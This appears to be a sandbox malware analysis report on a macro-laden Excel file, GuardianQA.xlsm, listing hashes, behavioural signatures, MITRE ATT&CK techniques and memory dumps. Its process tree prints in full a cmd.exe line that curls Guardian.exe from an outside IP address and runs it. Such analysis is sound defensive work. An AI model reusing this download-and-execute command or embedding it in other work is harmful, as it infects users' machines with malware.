8258c96fcb836d6b29aa90529835ed1ee4fe6143bb5221459fe5e4a81b18d2e6

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
01-02-2025 01:45

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General

Target

GuardianQA.xlsm
Size

3.7MB
MD5

f9379219193a6ad229cb99ea103240cc
SHA1

d7776b47f7d16e66d52ff3d2cda8af982f713ea4
SHA256

8258c96fcb836d6b29aa90529835ed1ee4fe6143bb5221459fe5e4a81b18d2e6
SHA512

c8fcb2db9ecdc4aa7aefd42fc003f8bd8c2a60d1ee59a4a6d573c422812b861487b0c79fd99de4e773afa60ddd4b36a5ee447089a382ddfdfce4ffa82e661a76
SSDEEP

98304:JjD7OuWRWu3nj7fH2a6AuxvczmQjj+xwT+aNaHmt:JjOuaWu3H2a6xeOMwmt

Score

10^/10

discovery

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2732	1064	cmd.exe	29

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1064	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1064	EXCEL.EXE
1064	EXCEL.EXE
1064	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 2732	1064	EXCEL.EXE	30
PID 1064 wrote to memory of 2732	1064	EXCEL.EXE	30
PID 1064 wrote to memory of 2732	1064	EXCEL.EXE	30
PID 1064 wrote to memory of 2732	1064	EXCEL.EXE	30

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\GuardianQA.xlsm
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /V /C "set u=http://195.88.218.126:8000/Guardian.exe&set p=C:\Users\Admin\AppData\Local\Temp\Guardian.exe&curl --insecure -o !p! !u! && start !p!"
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1064-1-0x0000000071F6D000-0x0000000071F78000-memory.dmp

Filesize
44KB

Download
memory/1064-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1064-2-0x00000000004B0000-0x00000000005B0000-memory.dmp

Filesize
1024KB

Download
memory/1064-5-0x00000000004B0000-0x00000000005B0000-memory.dmp

Filesize
1024KB

Download
memory/1064-7-0x00000000004B0000-0x00000000005B0000-memory.dmp

Filesize
1024KB

Download
memory/1064-6-0x00000000004B0000-0x00000000005B0000-memory.dmp

Filesize
1024KB

Download
memory/1064-4-0x00000000004B0000-0x00000000005B0000-memory.dmp

Filesize
1024KB

Download
memory/1064-3-0x00000000004B0000-0x00000000005B0000-memory.dmp

Filesize
1024KB

Download
memory/1064-8-0x0000000071F6D000-0x0000000071F78000-memory.dmp

Filesize
44KB

Download
memory/1064-9-0x00000000004B0000-0x00000000005B0000-memory.dmp

Filesize
1024KB

Download